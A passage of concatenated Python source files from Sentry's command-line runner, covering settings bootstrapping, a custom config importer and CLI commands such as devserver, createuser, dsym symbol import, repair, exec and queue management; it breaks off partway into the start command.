    default_manager.validate(settings.SENTRY_OPTIONS, warn=True)


def fix_south(settings):
    settings.SOUTH_DATABASE_ADAPTERS = {}

    # South needs an adapter defined conditionally
    for key, value in six.iteritems(settings.DATABASES):
        if value['ENGINE'] != 'sentry.db.postgres':
            continue
        settings.SOUTH_DATABASE_ADAPTERS[key] = 'south.db.postgresql_psycopg2'


def bind_cache_to_option_store():
    # The default ``OptionsStore`` instance is initialized without the cache
    # backend attached. The store itself utilizes the cache during normal
    # operation, but can't use the cache before the options (which typically
    # includes the cache configuration) have been bootstrapped from the legacy
    # settings and/or configuration values. Those options should have been
    # loaded at this point, so we can plug in the cache backend before
    # continuing to initialize the remainder of the application.
    from sentry.cache import default_cache
    from sentry.options import default_store

    default_store.cache = default_cache


def show_big_error(message):
    if isinstance(message, six.string_types):
        lines = message.splitlines()
    else:
        lines = message
    maxline = max(map(len, lines))
    click.echo('', err=True)
    click.secho('!! %s !!' % ('!' * min(maxline, 80),), err=True, fg='red')
    for line in lines:
        click.secho('!! %s !!' % line.center(maxline), err=True, fg='red')
    click.secho('!! %s !!' % ('!' * min(maxline, 80),), err=True, fg='red')
    click.echo('', err=True)


def apply_legacy_settings(settings):
    from sentry import options

    # SENTRY_USE_QUEUE used to determine if Celery was eager or not
    if hasattr(settings, 'SENTRY_USE_QUEUE'):
        warnings.warn(
            DeprecatedSettingWarning(
                'SENTRY_USE_QUEUE',
                'CELERY_ALWAYS_EAGER',
                'https://docs.sentry.io/on-premise/server/queue/',
            )
        )
        settings.CELERY_ALWAYS_EAGER = (not settings.SENTRY_USE_QUEUE)

    for old, new in (
        ('SENTRY_ADMIN_EMAIL', 'system.admin-email'),
        ('SENTRY_URL_PREFIX', 'system.url-prefix'),
        ('SENTRY_SYSTEM_MAX_EVENTS_PER_MINUTE', 'system.rate-limit'),
        ('SENTRY_ENABLE_EMAIL_REPLIES', 'mail.enable-replies'),
        ('SENTRY_SMTP_HOSTNAME', 'mail.reply-hostname'),
        ('MAILGUN_API_KEY', 'mail.mailgun-api-key'),
    ):
        if new not in settings.SENTRY_OPTIONS and hasattr(settings, old):
            warnings.warn(
                DeprecatedSettingWarning(old, "SENTRY_OPTIONS['%s']" % new))
            settings.SENTRY_OPTIONS[new] = getattr(settings, old)

    if hasattr(settings, 'SENTRY_REDIS_OPTIONS'):
        if 'redis.clusters' in settings.SENTRY_OPTIONS:
            raise Exception("Cannot specify both SENTRY_OPTIONS['redis.clusters'] option and SENTRY_REDIS_OPTIONS setting.")
        else:
            warnings.warn(
                DeprecatedSettingWarning(
                    'SENTRY_REDIS_OPTIONS',
                    'SENTRY_OPTIONS["redis.clusters"]',
                    removed_in_version='8.5',
                )
            )
            settings.SENTRY_OPTIONS['redis.clusters'] = {
                'default': settings.SENTRY_REDIS_OPTIONS,
            }
    else:
        # Provide backwards compatibility to plugins expecting there to be a
        # ``SENTRY_REDIS_OPTIONS`` setting by using the ``default`` cluster.
        # This should be removed when ``SENTRY_REDIS_OPTIONS`` is officially
        # deprecated. (This also assumes ``FLAG_NOSTORE`` on the configuration
        # option.)
        settings.SENTRY_REDIS_OPTIONS = options.get('redis.clusters')['default']

    if not hasattr(settings, 'SENTRY_URL_PREFIX'):
        url_prefix = options.get('system.url-prefix', silent=True)
        if not url_prefix:
            # HACK: We need to have some value here for backwards compatibility
            url_prefix = 'http://sentry.example.com'
        settings.SENTRY_URL_PREFIX = url_prefix

    if settings.TIME_ZONE != 'UTC':
        # non-UTC timezones are not supported
        show_big_error('TIME_ZONE should be set to UTC')

    # Set ALLOWED_HOSTS if it's not already available
    if not settings.ALLOWED_HOSTS:
        settings.ALLOWED_HOSTS = ['*']

    if hasattr(settings, 'SENTRY_ALLOW_REGISTRATION'):
        warnings.warn(DeprecatedSettingWarning('SENTRY_ALLOW_REGISTRATION', 'SENTRY_FEATURES["auth:register"]'))
        settings.SENTRY_FEATURES['auth:register'] = settings.SENTRY_ALLOW_REGISTRATION

    settings.DEFAULT_FROM_EMAIL = settings.SENTRY_OPTIONS.get(
        'mail.from', settings.SENTRY_DEFAULT_OPTIONS.get('mail.from'))

    # HACK(mattrobenolt): This is a one-off assertion for a system.secret-key value.
    # If this becomes a pattern, we could add another flag to the OptionsManager to cover this, but for now
    # this is the only value that should prevent the app from booting up. Currently FLAG_REQUIRED is used to
    # trigger the Installation Wizard, not abort startup.
    if not settings.SENTRY_OPTIONS.get('system.secret-key'):
        from .importer import ConfigurationError
        raise ConfigurationError("`system.secret-key` MUST be set. Use 'sentry config generate-secret-key' to get one.")


def skip_migration_if_applied(settings, app_name, table_name,
                              name='0001_initial'):
    from south.migration import Migrations
    from sentry.utils.db import table_exists
    import types

    if app_name not in settings.INSTALLED_APPS:
        return

    migration = Migrations(app_name)[name]

    def skip_if_table_exists(original):
        def wrapped(self):
            # TODO: look into why we're having to return some ridiculous
            # lambda
            if table_exists(table_name):
                return lambda x=None: None
            return original()
        wrapped.__name__ = original.__name__
        return wrapped

    migration.forwards = types.MethodType(
        skip_if_table_exists(migration.forwards), migration)


def on_configure(config):
    """
    Executes after settings are full installed and configured.

    At this point we can force import on various things such as models
    as all of settings should be correctly configured.
    """
    settings = config['settings']

    skip_migration_if_applied(
        settings, 'social_auth', 'social_auth_association')






"""
sentry.runner.importer
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import imp
import six
import sys


def install(name, config_path, default_settings, callback=None):
    sys.meta_path.append(Importer(name, config_path, default_settings, callback))


class ConfigurationError(ValueError):
    pass


class Importer(object):
    def __init__(self, name, config_path, default_settings=None, callback=None):
        self.name = name
        self.config_path = config_path
        self.default_settings = default_settings
        self.callback = callback

    def __repr__(self):
        return "<%s for '%s' (%s)>" % (type(self), self.name, self.config_path)

    def find_module(self, fullname, path=None):
        if fullname != self.name:
            return
        return self

    def load_module(self, fullname):
        # Check to make sure it's not already in sys.modules in case of a reload()
        if fullname in sys.modules:
            return sys.modules[fullname]  # pragma: no cover

        try:
            mod = self._load_module(fullname)
        except Exception as e:
            from sentry.utils.settings import reraise_as
            msg = six.text_type(e)
            if msg:
                msg = '%s: %s' % (type(e).__name__, msg)
            else:
                msg = type(e).__name__
            reraise_as(ConfigurationError(msg))
        else:
            # Install into sys.modules explicitly
            sys.modules[fullname] = mod
            if self.callback is not None:
                self.callback(mod)
            return mod

    def _load_module(self, fullname):
        if self.default_settings:
            from django.utils.importlib import import_module
            default_settings_mod = import_module(self.default_settings)
        else:
            default_settings_mod = None

        settings_mod = imp.new_module(self.name)

        # Django doesn't play too nice without the config file living as a real file, so let's fake it.
        settings_mod.__file__ = self.config_path

        # install the default settings for this app
        load_settings(default_settings_mod, settings=settings_mod)

        # install the custom settings for this app
        load_settings(self.config_path, settings=settings_mod, silent=True)

        return settings_mod


def load_settings(mod_or_filename, settings, silent=False):
    if isinstance(mod_or_filename, six.string_types):
        conf = imp.new_module('temp_config')
        conf.__file__ = mod_or_filename

        try:
            with open(mod_or_filename) as source_file:
                six.exec_(source_file.read(), conf.__dict__)
        except IOError as e:
            import errno
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return settings
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
    else:
        conf = mod_or_filename

    add_settings(conf, settings=settings)


def add_settings(mod, settings):
    """
    Adds all settings that are part of ``mod`` to the global settings object.
    Special cases ``EXTRA_APPS`` to append the specified applications to the
    list of ``INSTALLED_APPS``.
    """

    for setting in dir(mod):
        if not setting.isupper():
            continue

        setting_value = getattr(mod, setting)
        if setting in ('INSTALLED_APPS', 'TEMPLATE_DIRS') and isinstance(setting_value, six.string_types):
            setting_value = (setting_value,)  # In case the user forgot the comma.

        # Any setting that starts with EXTRA_ and matches a setting that is a list or tuple
        # will automatically append the values to the current setting.
        # It might make sense to make this less magical
        if setting[:6] == 'EXTRA_':
            base_setting = setting[6:]
            if isinstance(getattr(settings, base_setting), (list, tuple)):
                curval = getattr(settings, base_setting)
                setattr(settings, base_setting, curval + type(curval)(setting_value))
                continue

        setattr(settings, setting, setting_value)






"""
sentry.runner.commands.devserver
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
import six

from sentry.runner.decorators import configuration, log_options


@click.command()
@click.option('--reload/--no-reload', default=True, help='Autoreloading of python files.')
@click.option('--watchers/--no-watchers', default=True, help='Watch static files and recompile on changes.')
@click.option('--workers/--no-workers', default=False, help='Run asynchronous workers.')
@click.argument('bind', default='127.0.0.1:8000', metavar='ADDRESS')
@log_options()
@configuration
def devserver(reload, watchers, workers, bind):
    "Starts a lightweight web server for development."
    if ':' in bind:
        host, port = bind.split(':', 1)
        port = int(port)
    else:
        host = bind
        port = None

    import os
    from django.conf import settings
    from sentry import options
    from sentry.services.http import SentryHTTPServer

    url_prefix = options.get('system.url-prefix', '')
    needs_https = url_prefix.startswith('https://')
    has_https = False

    if needs_https:
        from subprocess import check_output
        try:
            check_output(['which', 'https'])
            has_https = True
        except Exception:
            has_https = False
            from sentry.runner.initializer import show_big_error
            show_big_error([
                'missing `https` on your `$PATH`, but https is needed',
                '`$ brew install mattrobenolt/stuff/https`',
            ])

    uwsgi_overrides = {
        # Make sure we don't try and use uwsgi protocol
        'protocol': 'http',
        # Make sure we reload really quickly for local dev in case it
        # doesn't want to shut down nicely on it's own, NO MERCY
        'worker-reload-mercy': 2,
        # We need stdin to support pdb in devserver
        'honour-stdin': True,
    }

    if reload:
        uwsgi_overrides['py-autoreload'] = 1

    daemons = []

    if watchers:
        daemons += settings.SENTRY_WATCHERS

    if workers:
        if settings.CELERY_ALWAYS_EAGER:
            raise click.ClickException('Disable CELERY_ALWAYS_EAGER in your settings file to spawn workers.')

        daemons += [
            ('worker', ['sentry', 'run', 'worker', '-c', '1', '--autoreload']),
            ('cron', ['sentry', 'run', 'cron', '--autoreload']),
        ]

    if needs_https and has_https:
        from six.moves.urllib.parse import urlparse
        parsed_url = urlparse(url_prefix)
        https_port = six.text_type(parsed_url.port or 443)
        https_host = parsed_url.hostname

        # Determine a random port for the backend http server
        import socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, 0))
        port = s.getsockname()[1]
        s.close()
        bind = '%s:%d' % (host, port)

        daemons += [
            ('https', ['https', '-host', https_host, '-listen', host + ':' + https_port, bind]),
        ]

    # A better log-format for local dev when running through honcho,
    # but if there aren't any other daemons, we don't want to override.
    if daemons:
        uwsgi_overrides['log-format'] = '"%(method) %(uri) %(proto)" %(status) %(size)'
    else:
        uwsgi_overrides['log-format'] = '[%(ltime)] "%(method) %(uri) %(proto)" %(status) %(size)'

    server = SentryHTTPServer(host=host, port=port, workers=1, extra_options=uwsgi_overrides)

    # If we don't need any other daemons, just launch a normal uwsgi webserver
    # and avoid dealing with subprocesses
    if not daemons:
        return server.run()

    import sys
    from subprocess import list2cmdline
    from honcho.manager import Manager

    os.environ['PYTHONUNBUFFERED'] = 'true'

    # Make sure that the environment is prepared before honcho takes over
    # This sets all the appropriate uwsgi env vars, etc
    server.prepare_environment()
    daemons += [
        ('server', ['sentry', 'run', 'web']),
    ]

    cwd = os.path.realpath(os.path.join(settings.PROJECT_ROOT, os.pardir, os.pardir))

    manager = Manager()
    for name, cmd in daemons:
        manager.add_process(
            name, list2cmdline(cmd),
            quiet=False, cwd=cwd,
        )

    manager.loop()
    sys.exit(manager.returncode)






"""
sentry.runner.commands.help
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click


@click.command()
@click.pass_context
def help(ctx):
    "Show this message and exit."
    click.echo(ctx.parent.get_help())






"""
sentry.runner.commands.dsym
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import uuid
import json
import click
import six
import warnings
import threading

from sentry.runner.decorators import configuration


SHUTDOWN = object()


def load_bundle(q, uuid, data, sdk_info, trim_symbols, demangle):
    from sentry.models import DSymBundle, DSymObject, DSymSDK
    from sentry.constants import MAX_SYM
    from symsynd.demangle import demangle_symbol

    def _process_symbol(sym):
        too_long = trim_symbols and len(sym) > MAX_SYM
        if demangle or too_long:
            new_sym = demangle_symbol(sym)
            if new_sym is not None and (len(new_sym) < sym or too_long):
                sym = new_sym
        if trim_symbols:
            sym = sym[:MAX_SYM]
        return sym

    sdk = DSymSDK.objects.get_or_create(
        dsym_type=sdk_info['dsym_type'],
        sdk_name=sdk_info['sdk_name'],
        version_major=sdk_info['version_major'],
        version_minor=sdk_info['version_minor'],
        version_patchlevel=sdk_info['version_patchlevel'],
        version_build=sdk_info['version_build'],
    )[0]

    obj = DSymObject.objects.get_or_create(
        cpu_name=data['arch'],
        object_path='/' + data['image'].strip('/'),
        uuid=six.text_type(uuid),
        vmaddr=data['vmaddr'],
        vmsize=data['vmsize'],
    )[0]

    DSymBundle.objects.get_or_create(
        sdk=sdk,
        object=obj
    )[0]

    step = 4000
    symbols = data['symbols']
    for idx in range(0, len(symbols) + step, step):
        end_idx = min(idx + step, len(symbols))
        batch = []
        for x in range(idx, end_idx):
            addr = symbols[x][0]
            batch.append((obj.id, addr, _process_symbol(symbols[x][1])))
        if batch:
            yield batch


def process_archive(members, zip, sdk_info, threads=8, trim_symbols=False,
                    demangle=True):
    from sentry.models import DSymSymbol
    import Queue
    q = Queue.Queue(threads)

    def process_items():
        while 1:
            items = q.get()
            if items is SHUTDOWN:
                break
            DSymSymbol.objects.bulk_insert(items)

    pool = []
    for x in range(threads):
        t = threading.Thread(target=process_items)
        t.setDaemon(True)
        t.start()
        pool.append(t)

    for member in members:
        try:
            id = uuid.UUID(member)
        except ValueError:
            continue
        for chunk in load_bundle(q.put, id, json.load(zip.open(member)),
                                 sdk_info, trim_symbols, demangle):
            q.put(chunk)

    for t in pool:
        q.put(SHUTDOWN)
    for t in pool:
        t.join()


@click.group(name='dsym')
def dsym():
    """Manage system symbols in Sentry.

    This allows you to import and manage globally shared system symbols in
    the Sentry installation.  In particular this is useful for iOS where
    system symbols need to be ingested before stacktraces can be fully
    symbolized due to device optimizations.
    """


@dsym.command(name='import-system-symbols',
              short_help='Import system debug symbols.')
@click.argument('bundles', type=click.Path(), nargs=-1)
@click.option('--threads', default=8, help='The number of threads to use')
@click.option('--trim-symbols', is_flag=True,
              help='If enabled symbols are trimmed before storing. '
              'This reduces the database size but means that symbols are '
              'already trimmed on the way to the database.')
@click.option('--no-demangle', is_flag=True,
              help='If this is set to true symbols are never demangled. '
              'By default symbols are demangled if they are trimmed or '
              'demangled symbols are shorter than mangled ones. Enabling '
              'this option speeds up importing slightly.')
@configuration
def import_system_symbols(bundles, threads, trim_symbols, no_demangle):
    """Imports system symbols from preprocessed zip files into Sentry.

    It takes a list of zip files as arguments that contain preprocessed
    system symbol information.  These zip files contain JSON dumps.  The
    actual zipped up dsym files cannot be used here, they need to be
    preprocessed.
    """
    import zipfile
    from sentry.utils.db import is_mysql
    if threads != 1 and is_mysql():
        warnings.warn(Warning('disabled threading for mysql'))
        threads = 1
    for path in bundles:
        with zipfile.ZipFile(path) as f:
            sdk_info = json.load(f.open('sdk_info'))
            label = ('%s.%s.%s (%s)' % (
                sdk_info['version_major'],
                sdk_info['version_minor'],
                sdk_info['version_patchlevel'],
                sdk_info['version_build'],
            )).ljust(18)
            with click.progressbar(f.namelist(), label=label) as bar:
                process_archive(bar, f, sdk_info, threads,
                                trim_symbols=trim_symbols,
                                demangle=not no_demangle)


@dsym.command(name='sdks', short_help='List SDKs')
@click.option('--sdk', help='Only include the given SDK instead of all.')
@click.option('--version', help='Optionally a version filter.  For instance '
              '9 returns all versions 9.*, 9.1 returns 9.1.* etc.')
@configuration
def sdks(sdk, version):
    """Print a list of all installed SDKs and a breakdown of the symbols
    contained within.  This queries the system symbol database and reports
    all SDKs and versions that symbols exist for.  The output is broken down
    by minor versions, builds and cpu architectures.  For each of those a
    count of the stored bundles is returned.  (A bundle in this case is a
    single binary)
    """
    from sentry.models import DSymSDK
    last_prefix = None
    click.secho('  %-8s  %-10s  %-12s %-8s %s' % (
        'SDK',
        'Version',
        'Build',
        'CPU',
        'Bundles',
    ), fg='cyan')
    click.secho('-' * click.get_terminal_size()[0], fg='yellow')
    for sdk in DSymSDK.objects.enumerate_sdks(sdk=sdk, version=version):
        prefix = '  %-8s  %-10s  ' % (
            sdk['sdk_name'],
            sdk['version']
        )
        if prefix == last_prefix:
            prefix = ' ' * len(prefix)
        else:
            last_prefix = prefix
        click.echo('%s%-12s %-8s %d' % (
            prefix,
            sdk['build'],
            sdk['cpu_name'],
            sdk['bundle_count'],
        ))






"""
sentry.runner.commands.createuser
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
from sentry.runner.decorators import configuration


def _get_field(field_name):
    from sentry.models import User
    return User._meta.get_field(field_name)


def _get_email():
    from django.core.exceptions import ValidationError
    rv = click.prompt('Email')
    field = _get_field('email')
    try:
        return field.clean(rv, None)
    except ValidationError as e:
        raise click.ClickException('; '.join(e.messages))


def _get_password():
    from django.core.exceptions import ValidationError
    rv = click.prompt('Password', hide_input=True, confirmation_prompt=True)
    field = _get_field('password')
    try:
        return field.clean(rv, None)
    except ValidationError as e:
        raise click.ClickException('; '.join(e.messages))


def _get_superuser():
    return click.confirm('Should this user be a superuser?', default=False)


@click.command()
@click.option('--email')
@click.option('--password')
@click.option('--superuser/--no-superuser', default=None, is_flag=True)
@click.option('--no-password', default=False, is_flag=True)
@click.option('--no-input', default=False, is_flag=True)
@configuration
def createuser(email, password, superuser, no_password, no_input):
    "Create a new user."
    if not no_input:
        if not email:
            email = _get_email()

        if not (password or no_password):
            password = _get_password()

        if superuser is None:
            superuser = _get_superuser()

    if superuser is None:
        superuser = False

    if not email:
        raise click.ClickException('Invalid or missing email address.')

    # TODO(mattrobenolt): Accept password over stdin?
    if not no_password and not password:
        raise click.ClickException('No password set and --no-password not passed.')

    from sentry import roles
    from sentry.models import User
    from django.conf import settings

    user = User(
        email=email,
        username=email,
        is_superuser=superuser,
        is_staff=superuser,
        is_active=True,
    )

    if password:
        user.set_password(password)

    user.save()

    click.echo('User created: %s' % (email,))

    # TODO(dcramer): kill this when we improve flows
    if settings.SENTRY_SINGLE_ORGANIZATION:
        from sentry.models import (
            Organization, OrganizationMember, OrganizationMemberTeam, Team
        )

        org = Organization.get_default()
        if superuser:
            role = roles.get_top_dog().id
        else:
            role = org.default_role
        member = OrganizationMember.objects.create(
            organization=org,
            user=user,
            role=role,
        )

        # if we've only got a single team let's go ahead and give
        # access to that team as its likely the desired outcome
        teams = list(Team.objects.filter(organization=org)[0:2])
        if len(teams) == 1:
            OrganizationMemberTeam.objects.create(
                team=teams[0],
                organizationmember=member,
            )
        click.echo('Added to organization: %s' % (org.slug,))






"""
sentry.runner.commands.init
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import os
import click


@click.command()
@click.option('--dev', default=False, is_flag=True, help='Use settings more conducive to local development.')
@click.argument('directory', required=False)
@click.pass_context
def init(ctx, dev, directory):
    "Initialize new configuration directory."
    from sentry.runner.settings import discover_configs, generate_settings
    if directory is not None:
        os.environ['SENTRY_CONF'] = directory

    directory, py, yaml = discover_configs()

    # In this case, the config is pointing directly to a file, so we
    # must maintain old behavior, and just abort
    if yaml is None and os.path.isfile(py):
        # TODO: Link to docs explaining about new behavior of SENTRY_CONF?
        raise click.ClickException("Found legacy '%s' file, so aborting." % click.format_filename(py))

    if yaml is None:
        raise click.ClickException("DIRECTORY must not be a file.")

    if directory and not os.path.exists(directory):
        os.makedirs(directory)

    py_contents, yaml_contents = generate_settings(dev)

    if os.path.isfile(yaml):
        click.confirm("File already exists at '%s', overwrite?" % click.format_filename(yaml), abort=True)

    with click.open_file(yaml, 'w') as fp:
        fp.write(yaml_contents)

    if os.path.isfile(py):
        click.confirm("File already exists at '%s', overwrite?" % click.format_filename(py), abort=True)

    with click.open_file(py, 'w') as fp:
        fp.write(py_contents)






from __future__ import absolute_import, print_function

import click
from sentry.runner.decorators import configuration


@click.group()
def files():
    "Manage files from filestore."


@files.command()
@click.argument('id', type=click.INT, metavar='FILE_ID')
@configuration
def get(id):
    "Fetch a file's contents by id."
    from sentry.models import File

    try:
        file = File.objects.get(id=id)
    except File.DoesNotExist:
        raise click.ClickException('File %d does not exist.' % id)

    stdout = click.get_binary_stream('stdout')

    with file.getfile() as fp:
        for chunk in fp.chunks():
            stdout.write(chunk)


@files.command()
@click.argument('id', type=click.INT, metavar='FILE_ID')
@click.option('--format', default='json', type=click.Choice(('json', 'yaml')))
@configuration
def info(id, format):
    "Show a file's metadata by id."
    from sentry.models import File

    try:
        file = File.objects.get(id=id)
    except File.DoesNotExist:
        raise click.ClickException('File %d does not exist.' % id)

    obj = {
        'id': file.id,
        'name': file.name,
        'headers': file.headers,
        'size': file.size,
        'sha1': file.checksum,
        'dateCreated': file.timestamp,
    }

    stdout = click.get_text_stream('stdout')

    if format == 'yaml':
        from sentry.utils import yaml
        yaml.safe_dump(obj, stdout)
    elif format == 'json':
        from sentry.utils import json
        json.dump(obj, stdout)
        stdout.write('\n')






"""
sentry.runner.commands.repair
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import os
import click
import six

from contextlib import contextmanager
from django.db import transaction

from sentry.runner.decorators import configuration
from sentry.utils.strings import iter_callsign_choices


class RollbackLocally(Exception):
    pass


@contextmanager
def catchable_atomic():
    try:
        with transaction.atomic():
            yield
    except RollbackLocally:
        pass


def get_callsigns(projects):
    rv = {}

    for project in projects:
        if project.callsign is not None:
            rv[project.callsign] = project.id
            continue
        for callsign in iter_callsign_choices(project.name):
            if callsign in rv:
                continue
            rv[callsign] = project.id
            break

    return dict((v, k) for k, v in six.iteritems(rv))


def sync_docs():
    click.echo('Forcing documentation sync')
    from sentry.utils.integrationdocs import sync_docs, DOC_FOLDER
    if os.access(DOC_FOLDER, os.W_OK):
        try:
            sync_docs()
        except Exception as e:
            click.echo(' - skipping, failure: %s' % e)
    elif os.path.isdir(DOC_FOLDER):
        click.echo(' - skipping, path cannot be written to: %r' % DOC_FOLDER)
    else:
        click.echo(' - skipping, path does not exist: %r' % DOC_FOLDER)


def repair_callsigns():
    from sentry.utils.query import RangeQuerySetWrapperWithProgressBar, \
        RangeQuerySetWrapper
    from sentry.models.counter import increment_project_counter
    from sentry.models import Organization, Group, Project, ProjectOption

    click.echo('Repairing callsigns')

    queryset = Organization.objects.all()

    for org in RangeQuerySetWrapperWithProgressBar(queryset):
        projects = list(org.project_set.all())
        callsigns = get_callsigns(projects)
        for project in projects:
            if project.callsign is None:
                Project.objects.filter(
                    pk=project.id,
                    callsign=None
                ).update(callsign=callsigns[project.id])
                ProjectOption.objects.filter(
                    project=project,
                    key='sentry:reviewed-callsign'
                ).delete()
            q = Group.objects.filter(
                project=project,
                short_id=None,
            )
            for group in RangeQuerySetWrapper(q):
                with catchable_atomic():
                    pending_short_id = increment_project_counter(
                        project)
                    updated = Group.objects.filter(
                        pk=group.id,
                        short_id=None
                    ).update(short_id=pending_short_id)
                    if updated == 0:
                        raise RollbackLocally()


def create_missing_dsns():
    from sentry.models import Project, ProjectKey
    click.echo('Creating missing DSNs')
    queryset = Project.objects.filter(key_set__isnull=True)
    for project in queryset:
        try:
            ProjectKey.objects.get_or_create(
                project=project,
            )
        except ProjectKey.MultipleObjectsReturned:
            pass


def fix_group_counters():
    from sentry.models import Activity
    from django.db import connection
    click.echo('Correcting Group.num_comments counter')
    cursor = connection.cursor()
    cursor.execute("""
        UPDATE sentry_groupedmessage SET num_comments = (
            SELECT COUNT(*) from sentry_activity
            WHERE type = %s and group_id = sentry_groupedmessage.id
        )
    """, [Activity.NOTE])


@click.command()
@click.option('--with-docs/--without-docs', default=False,
              help='Synchronize and repair embedded documentation. This '
              'is disabled by default.')
@click.option('--with-callsigns/--without-callsigns', default=False,
              help='Repair and fill callsigns. This is disabled by default.')
@configuration
def repair(with_docs, with_callsigns):
    """Attempt to repair any invalid data.

    This by default will correct some common issues like projects missing
    DSNs or counters desynchronizing.  Optionally it can also synchronize
    the current client documentation from the Sentry documentation server
    (--with-docs) and repair missing or broken callsigns and short IDs
    (--with-callsigns).
    """

    if with_docs:
        sync_docs()

    if with_callsigns:
        repair_callsigns()

    create_missing_dsns()
    fix_group_counters()






"""
sentry.runner.commands.exec
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import six
import sys
import click

# If this changes, make sure to also update in the `__doc__`
SCRIPT_TEMPLATE = u"""\
%(header)s

try:
    %(body)s
except Exception:
    import traceback
    traceback.print_exc()
    raise ScriptError('Failed to execute script {!r}'.format(%(filename)r))
"""


@click.command(name='exec', context_settings=dict(
    ignore_unknown_options=True,
    allow_extra_args=True,
))
@click.option('-c', default='', help='Read script from string.')
@click.argument('file', default=None, required=False)
def exec_(c, file):
    """
    Execute a script.

    Also compatible with hashbang `#!/usr/bin/env sentry exec`

    For convenience, the following preample is attached to scripts:

    \b
      from sentry.runner import configure; configure()
      from django.conf import settings
      from sentry.models import *

    Examples:

    \b
      $ sentry exec -c 'print(Project.objects.count())'
      $ echo 'print(Project.objects.count())' | sentry exec
      $ sentry exec something.py

    Note: All scripts are assumed utf-8.
    """
    # Can't have both a file and command, when passing both
    # -c takes priority and rest is ignored. This mimics
    # `python -c` behavior.
    if c and file:
        file = None

    # If we specify neither, read from stdin
    if not (c or file):
        file = '-'

    if file:
        if file == '-':
            file = '<string>'
            c = click.get_text_stream('stdin').read()
        else:
            try:
                with open(file, 'rb') as fp:
                    c = fp.read().decode('utf8')
            except (IOError, OSError) as e:
                raise click.ClickException(six.text_type(e))
    else:
        file = '<string>'

    header = []

    if 'from __future__' in c:
        body = []
        state = 0

        for line in c.splitlines():
            if line.startswith('from __future__'):
                state = 1
            elif line and not line.startswith('#', '"', "'") and state == 1:
                state = 2
            if state == 2:
                body.append(line)
            else:
                header.append(line)
        body = '\n'.join(body)
    else:
        header = []
        body = c

    if 'from sentry.runner import configure' not in c:
        header.extend([
            'from sentry.runner import configure; configure()',
            'from django.conf import settings',
            'from sentry.models import *',
        ])

    header.append('class ScriptError(Exception): pass')

    script = SCRIPT_TEMPLATE % {
        # Need to reindent the code to fit inside the `try` block
        'body': body.replace('\n', '\n' + (' ' * 4)),
        'header': '\n'.join(header),
        'filename': file,
    }

    # Chop off `exec` from `sys.argv` so scripts can handle
    # this as exepcted.
    sys.argv = sys.argv[1:]

    # globals context
    g = {
        # Inject `__name__ = '__main__' for scripts
        '__name__': '__main__',
        '__file__': '<script>',
    }
    # we use globals as locals due to:
    # http://stackoverflow.com/a/2906198/154651
    six.exec_(compile(script, file, 'exec'), g, g)






"""
sentry.runner.commands.queues
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
from sentry.runner.decorators import configuration


@click.group()
def queues():
    "Manage Sentry queues."


@queues.command()
@click.option('-S', 'sort_size', default=False, is_flag=True, help='Sort by size.')
@click.option('-r', 'reverse', default=False, is_flag=True, help='Reverse the sort order.')
@configuration
def list(sort_size, reverse):
    "List queues and their sizes."

    from django.conf import settings
    from sentry.monitoring.queues import backend

    if backend is None:
        raise click.ClickException('unknown broker type')

    queues = backend.bulk_get_sizes([q.name for q in settings.CELERY_QUEUES])

    if sort_size:
        queues = sorted(queues, key=lambda q: (-q[1], q[0]), reverse=reverse)
    else:
        queues = sorted(queues, reverse=reverse)

    for queue in queues:
        click.echo('%s %d' % queue)


@queues.command()
@click.option('-f', '--force', default=False, is_flag=True, help='Do not prompt for confirmation.')
@click.argument('queue')
@configuration
def purge(force, queue):
    "Purge all messages from a queue."

    from sentry.monitoring.queues import get_queue_by_name, backend

    if get_queue_by_name(queue) is None:
        raise click.ClickException('unknown queue: %r' % queue)

    if backend is None:
        raise click.ClickException('unknown broker type')

    size = backend.get_size(queue)

    if size == 0:
        click.echo('Queue is empty, nothing to purge', err=True)
        return

    if not force:
        click.confirm('Are you sure you want to purge %d messages from the queue \'%s\'?' % (size, queue), abort=True)

    click.echo('Poof, %d messages deleted' % backend.purge_queue(queue), err=True)






"""
sentry.runner.commands.start
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import sys
import click
from sentry.runner.decorators import configuration

SERVICES = {
    'http': 'sentry.services.http.SentryHTTPServer',
    'smtp': 'sentry.services.smtp.SentrySMTPServer',
}


@click.command()
@click.option('--bind', '-b', default=None, help='Bind address.', metavar='ADDRESS')
@click.option('--workers', '-w', default=0, help='The number of worker processes for handling requests.')
